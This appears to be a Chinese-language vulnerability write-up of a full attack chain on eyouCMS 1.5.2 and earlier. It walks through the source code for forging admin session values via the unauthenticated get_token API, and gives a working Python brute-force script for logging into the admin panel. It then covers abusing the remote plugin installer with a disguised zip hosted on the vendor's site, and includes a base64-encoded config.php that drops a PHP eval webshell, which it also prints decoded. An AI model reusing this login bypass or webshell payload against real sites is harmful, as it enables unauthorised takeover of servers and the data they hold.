eyouCMS1.5.2前台getshell
eyouCMS从后台登录绕过到getshell
漏洞影响范围
<=1.5.2
后台登录判断
application/admin/controller/Base.php-_initialize()
$web_login_expiretime = tpCache('web.web_login_expiretime');
empty($web_login_expiretime) && $web_login_expiretime = config('login_expire');
$admin_login_expire = session('admin_login_expire'); //最后登录时间
if (session('?admin_id') && (getTime() - $admin_login_expire) < $web_login_expiretime) {
session('admin_login_expire', getTime()); // 登录有效期
$this->check_priv();//检查管理员菜单操作权限
}else{
/*自动退出*/
adminLog('访问后台');
session_unset();
session::clear();
cookie('admin-treeClicked', null); // 清除并恢复栏目列表的展开方式
/*--end*/
if (IS_AJAX) {
$this->error('登录超时!');
} else {
$url = request()->baseFile().'?s=Admin/login';
$this->redirect($url);
}
}
这里的$web_login_expiretime变量的值为session的有效时间,单位为秒,这里默认设置的为3600
通过if判断session admin_id是否存在,用getTime()方法获取当前的时间戳然后减去最后登录时间的时间戳,如果小于登陆有效时间的化就可以继续使用该session进行登录,验证登录之后获取现在的时间戳对session admin_login_expire的值进行更新,然后调用$this->check_priv()方法来检查管理员菜单操作权限。
这里我们设置的session值是为请求时间戳的md5值,如果要满足 (getTime() - $admin_login_expire) < $web_login_expiretime)这个条件的话,需要md5值前面是连着一串得数字,这样可以将计算得效果为负数,自然也就满足条件了
/application/admin/controller/Base.php-check_priv()
public function check_priv()
{
$ctl = CONTROLLER_NAME;
$act = ACTION_NAME;
$ctl_act = $ctl.'@'.$act;
$ctl_all = $ctl.'@*';
//无需验证的操作
$uneed_check_action = config('uneed_check_action');
if (0 >= intval(session('admin_info.role_id'))) {
//超级管理员无需验证
return true;
} else {
$bool = false;
/*检测是否有该权限*/
if (is_check_access($ctl_act)) {
$bool = true;
}
/*--end*/
/*在列表中的操作不需要验证权限*/
if (IS_AJAX || strpos($act,'ajax') !== false || in_array($ctl_act, $uneed_check_action) || in_array($ctl_all, $uneed_check_action)) {
$bool = true;
}
/*--end*/
//检查是否拥有此操作权限
if (!$bool) {
$this->error('您没有操作权限,请联系超级管理员分配权限');
}
}
}
可以看到是如果session admin_info.role_id的值如果小于等于0就等于拥有了超级管理员的权限,就相当于绕过了登录直接拿到了后台管理员的权限
需要session总结
admin_login_expire:需要一段以数字开头的连续一定长度的md5值,但是服务器接收的是HTTP的REQUEST_TIME_FLOAT头,精确到小数点后3或者4位,使用脚本时无法与其匹配,又因是md5加密,所以加密之后的值差别很大,但是这里是可以通过爆破来一直尝试,只要一次成功那么就会设置session admin_login_expire,所以只要开着脚本放一会儿就可以生成这个session,如果再次生成则会覆盖,只需判断是否可以凭借该session登录后台即可
admin_id:判断是否存在,随意创建一个即可
admin_info.role_id:以0开头的md5值或者以字母开头的md5值
因为生成的admin_id和真正的admin_id是不一样的,所以进行增删改的操作并且涉及到admin_id的值时会报错
前台session设置
/core/library/think/library/Controller.php-__construct(Request $request = null)
if (!defined('IS_AJAX')) {
$this->request->isAjax() ? define('IS_AJAX',true) : define('IS_AJAX',false); //
}
/core/library/think/library/Request.php-isAjax($ajax = false)
/**
* 当前是否Ajax请求
* @access public
* @param bool $ajax true 获取原始ajax请求
* @return bool
*/
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
$result = ('xmlhttprequest' == $value) ? true : false;
if (true === $ajax) {
return $result;
} else {
$result = $this->param(Config::get('var_ajax')) ? true : $result;
$this->mergeParam = false;
return $result;
}
}
...
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
...
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
首先调用get_token()方法需要常量IS_AJAX的值为True,于是先要调用Request类的isAjax()方法,再调用本类的server()方法,再传入到本类的input()方法,其实就是将$_SERVER数组变量中的HTTP_X_REQUESTED_WITH参数的值取出,通过
$result = ('xmlhttprequest' == $value) ? true : false;
来返回IS_AJAX的值,只有为True时才能够请求api中的Ajax.php中的方法
/application/api/controller/Ajax.php-get_token()
public function get_token($name = '__token__')
{
if (IS_AJAX) {
echo $this->request->token($name);
exit;
} else {
abort(404);
}
}
get_token是前台可以随意调用的,可以通过传递变量$name,并且会对$this->request->token($name)返回的值进行打印。继续跟进token函数
/core/library/think/library/Request.php-token()
public function token($name = '__token__', $type = 'md5')
{
$type = is_callable($type) ? $type : 'md5';
$token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
if ($this->isAjax()) {
header($name . ': ' . $token);
}
Session::set($name, $token);
return $token;
}
将get_token()方法的$name参数传递进来,并且默认的加密方式为md5,这里将请求开始的时间进行md5进行加密,将session的值名字和md5请求时间戳通过http头返回,然后使用Session::set($name, $token)方法来设置session
/core/library/think/Session.php-set()
public static function set($name, $value = '', $prefix = null)
{
empty(self::$init) && self::boot();
$prefix = !is_null($prefix) ? $prefix : self::$prefix;
if (strpos($name, '.')) {
// 二维数组赋值
list($name1, $name2) = explode('.', $name);
if ($prefix) {
$_SESSION[$prefix][$name1][$name2] = $value;
} else {
$_SESSION[$name1][$name2] = $value;
}
} elseif ($prefix) {
$_SESSION[$prefix][$name] = $value;
} else {
$_SESSION[$name] = $value;
}
}
漏洞利用脚本编写
from time import time
import requests
class eyoucms_login:
def __init__(self, url):
self.url = url
self.req = requests.session()
self.api_gettoken = 'index.php/?m=api&c=Ajax&a=get_token&name='
self.header = {
'x-requested-with': 'XMLHttpRequest'
}
def get_admin_id(self):
res = self.req.get(self.url + self.api_gettoken + 'admin_id', headers=self.header)
print('admin_id:' + res.text)
print(res.headers['Set-Cookie'])
def get_admin_login_expire(self):
while True:
res = self.req.get(self.url + self.api_gettoken + 'admin_login_expire', headers=self.header)
result = self.login_test()
if result == 'ok':
print('login success')
break
def get_admin_info_role_id(self):
while True:
res = self.req.get(self.url + self.api_gettoken + 'admin_info.role_id', headers=self.header)
if res.text[:1] in ['1', '2', '3', '4', '5', '6', '7', '8', '9']:
pass
else:
print('admin_info.role_id:', res.text)
break
def login_test(self):
res = self.req.get(self.url + 'login.php')
if '管理系统' in res.text:
return 'ok'
def run(self):
self.get_admin_id()
self.get_admin_info_role_id()
self.get_admin_login_expire()
if __name__ == '__main__':
url = 'http://www.testeyou1.com/'
test = eyoucms_login(url)
test.run()
后台远程插件下载getshell
/application/admin/controller/Weapp.php-downloadInstall()
public function downloadInstall($url)
{
$parse_data = parse_url($url);
if (empty($parse_data['host']) || GetUrlToDomain($parse_data['host']) != 'eyoucms.com') {
$this->error('该云插件下载链接出错!', url('Weapp/plugin'));
}
/*远程下载文件start*/
$savePath = UPLOAD_PATH . 'tmp' . DS;//保存路径
$folderName = session('admin_id') . '-' . dd2char(date("ymdHis") . mt_rand(100, 999));
$fileName = $folderName . ".zip";
//保存至框架应用根目录/public/upload/tmp/ 目录下 返回文件详细路径+名称
$result = $this->downloadFile($url, $savePath, $fileName);
if (!isset($result['code']) || $result['code'] != 1) {
$this->error($result['msg']);
}
$filepath = $result['filepath'];
/*远程下载文件end*/
if (file_exists($filepath)) {
/*解压文件*/
$zip = new \ZipArchive();//新建一个ZipArchive的对象
if ($zip->open($filepath) != true) {
$this->error("插件压缩包读取失败!", url('Weapp/plugin'));
}
$zip->extractTo($savePath . $folderName . DS);//假设解压缩到在当前路径下插件名称文件夹内
$zip->close();//关闭处理的zip文件
/*--end*/
/*获取插件目录名称*/
$dirList = glob($savePath . $folderName . DS . WEAPP_DIR_NAME . DS . '*');
$weappPath = !empty($dirList) ? $dirList[0] : '';
if (empty($weappPath)) {
@unlink(realpath($savePath . $fileName));
delFile($savePath . $folderName, true);
$this->error('插件压缩包缺少目录文件', url('Weapp/plugin'));
}
$weappPath = str_replace("\\", DS, $weappPath);
$weappPathArr = explode(DS, $weappPath);
$weappName = $weappPathArr[count($weappPathArr) - 1];
/*--end*/
/*修复非法插件上传,导致任意文件上传的漏洞*/
$configfile = $savePath . $folderName . DS . WEAPP_DIR_NAME . DS . $weappName . '/config.php';
if (!file_exists($configfile)) {
$msg = '插件不符合标准!';
$filelist_tmp = getDirFile($savePath . $folderName . DS . WEAPP_DIR_NAME . DS . $weappName);
if (empty($filelist_tmp)) {
$msg = '压缩包解压失败,请联系空间商';
}
@unlink(realpath($savePath . $fileName));
delFile($savePath . $folderName, true);
$this->error($msg, url('Weapp/plugin'));
} else {
$configdata = include($configfile);
if (empty($configdata) || !is_array($configdata)) {
@unlink(realpath($savePath . $fileName));
delFile($savePath . $folderName, true);
$this->error('插件不符合标准!', url('Weapp/plugin'));
} else {
$sampleConfig = include(DATA_NAME . DS . 'weapp' . DS . 'Sample' . DS . 'weapp' . DS . 'Sample' . DS . 'config.php');
if (is_array($sampleConfig)) {
foreach ($configdata as $key => $val) {
if ('permission' != $key && !isset($sampleConfig[$key])) {
@unlink(realpath($savePath . $fileName));
delFile($savePath . $folderName, true);
$this->error('插件不符合标准!', url('Weapp/index'));
}
}
}
}
}
...
首先通过parse_url()方法将传入的url的host进行分析,这里的host需要为eyou.com,然后重新修改文件的名字并且加上.zip的后缀,所以这里传入的url中文件的格式是不限制的,可以将后缀为jpg的压缩文件进行处理,然后将文件下载到./uploads/tmp\下,然后对该压缩包进行解压,先将该文件解压到当前目录下,通过配置中的常量WEAPP_DIR_NAME来加载该目录下的目录列表,并获取目录的名称,对该目录下的config.php文件进行包含,这里由于文件包含的内容我们是可控的,所以可以通过文件包含来写入webshell
https://www.eyoucms.com/ask/?ct=question&ac=ask_complete
可以在eyoucms的官方提问然后将压缩文件的后缀改成jpg进行上传
config.php
<?php
file_put_contents("./uploads/allimg/0427bd01edea972d400a106514ab7f68.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFsyMzNdKTs/Pg=="));
?>
会在./uploads/allimg/0427bd01edea972d400a106514ab7f68.php路径下生成一个webshell,对其进行访问即可、
0427bd01edea972d400a106514ab7f68.php
<?php phpinfo();@eval($_POST[233]);?>